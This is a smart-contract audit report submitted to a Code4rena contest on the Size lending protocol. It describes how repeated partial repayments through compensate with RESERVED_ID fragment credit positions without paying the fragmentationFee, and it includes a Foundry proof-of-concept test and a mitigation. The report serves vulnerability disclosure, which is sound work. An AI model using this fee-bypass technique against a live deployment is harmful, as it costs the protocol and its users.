# Medium Severity

## Result => Duplicate of 10


## Lines with Problems
- https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/actions/Compensate.sol#L136

## Title
Borrowers can fragmentate credit without paying the fragmentationFee when partially repaying a DebtPosition via Compensate

## Impact
CreditPositions can be fragmented hundreds, or even thousands of times without paying the fragmentationFee.

## Proof of Concept
This problem is present on the compensate mechanism, specifically, when [`params.creditPositionToCompensateId == RESERVED_ID`](https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/actions/Compensate.sol#L119-L125).
Calling compensate with the RESERVE_ID is meant to be used for borrowers to partially repay their debts, but, this mechanism can be abused by malicious users because the CreditPosition associated to the DebtPosition been compensated can be fragmented many, many times.

Partially repaying a Debt basically creates a new Debt and a Credit position, and the new Credit position is assigned to the same lender of the Debt been repaid. This means, now there will be two CreditPositions for the same debt, or in other words, the Credit of the first CreditPosition was fragmented.
- The problem is that [the compensation mechanism doesn't account for the fragmentation when partially repaying](https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/actions/Compensate.sol#L136), as such, borrowers can partially repay the debt and cause the Original CreditPosition to be fragmented on X amount of new CreditPositions without having to pay the corresponding fragmentationFee for each of these new CreditPositions.

```
function executeCompensate(State storage state, CompensateParams calldata params) external {
  emit Events.Compensate(
      params.creditPositionWithDebtToRepayId, params.creditPositionToCompensateId, params.amount
  );

  ...

  CreditPosition memory creditPositionToCompensate;
  if (params.creditPositionToCompensateId == RESERVED_ID) {
      creditPositionToCompensate = state.createDebtAndCreditPositions({
          lender: msg.sender,
          borrower: msg.sender,
          //@audit-info => `creditPositionToCompensate.credit` will be `amountToCompensate`
          futureValue: amountToCompensate,
          dueDate: debtPositionToRepay.dueDate
      });
  } else {
      creditPositionToCompensate = state.getCreditPosition(params.creditPositionToCompensateId);
      amountToCompensate = Math.min(amountToCompensate, creditPositionToCompensate.credit);
  }

  ...

  //@audit-issue => When `params.creditPositionToCompensateId == RESERVED_ID`, creditPositionToCompensate.credit == amountToCompensate. No fragmentationFee!
  uint256 exiterCreditRemaining = creditPositionToCompensate.credit - amountToCompensate;

  ...

  //@audit-issue => Fragmentation is not considered when partially repaying
  if (exiterCreditRemaining > 0) {
      // charge the fragmentation fee in collateral tokens, capped by the user balance
      ...
  }
}

```

Find below a Coded PoC where a borrower fragmentates the original CreditPosition into a 100 small CreditPositions without paying the fragmentationFee.

### Coded PoC

<details>
<summary><b>Expand to reveel the PoC</b></summary>
<br>

Add the below test in the [`Compenstate.t.sol`](https://github.com/code-423n4/2024-06-size/blob/main/test/local/actions/Compensate.t.sol) test file.

```
function test_FragmentateCreditWithoutPayingFragmentationFees_PoC() public {
    _setPrice(1e18);
    _updateConfig("swapFeeAPR", 0);
    _deposit(alice, usdc, 1500e6);
    _deposit(bob, weth, 2500e18);
    _buyCreditLimit(alice, block.timestamp + 365 days, YieldCurveHelper.pointCurve(365 days, 0.5e18));

    uint256 debtPositionId = _sellCreditMarket(bob, alice, RESERVED_ID, 1000e6, 365 days, false);
    uint256 creditPositionId = size.getCreditPositionIdsByDebtPositionId(debtPositionId)[0];
    uint256 bobCollateralBalanceBefore = size.getUserView(bob).collateralTokenBalance;

    vm.startPrank(bob);
    for(uint i = 1; i <= 100; i++) {
        size.compensate(
            CompensateParams({
                creditPositionWithDebtToRepayId: creditPositionId,
                creditPositionToCompensateId: RESERVED_ID,
                amount: 10e6
            })
        );
    }
    vm.stopPrank();

    CreditPosition[] memory creditPositions = size.getCreditPositions();
    assert(creditPositions.length == 101);
    //@audit => The original credit was fragmented in another 100 extra CreditPositions without paying the corresponding fragmentationFee!
    for(uint i = 1; i < creditPositions.length; i++) {
        assert(creditPositions[i].credit == 10e6);
    }

    assert(creditPositions[0].credit == 500e6);

    uint256 bobCollateralBalanceAfter = size.getUserView(bob).collateralTokenBalance;

    assert(bobCollateralBalanceAfter == bobCollateralBalanceBefore);
}
```

</details>

Run the next command to execute the PoC: `forge test --match-test test_FragmentateCreditWithoutPayingFragmentationFees_PoC -vvvv`

## Tools Used
Manual Audit

## Recommended Mitigation Steps
Since the compensate mechanism doesn't charge any fees other than the fragmentationFee, I'd recommend to implement a minimum partial repayment, for example, 20% of the totalDebt, and, if the borrower decides to pay less than the minimum, charge the fragmentationFee. 
- In this way, malicious borrowers will be dicensentivize from fragmentating the Credit into hundreds or thousands of small credits, and honest borrowers can opt to partially repay at least the minimum amount without paying fragmentationFees.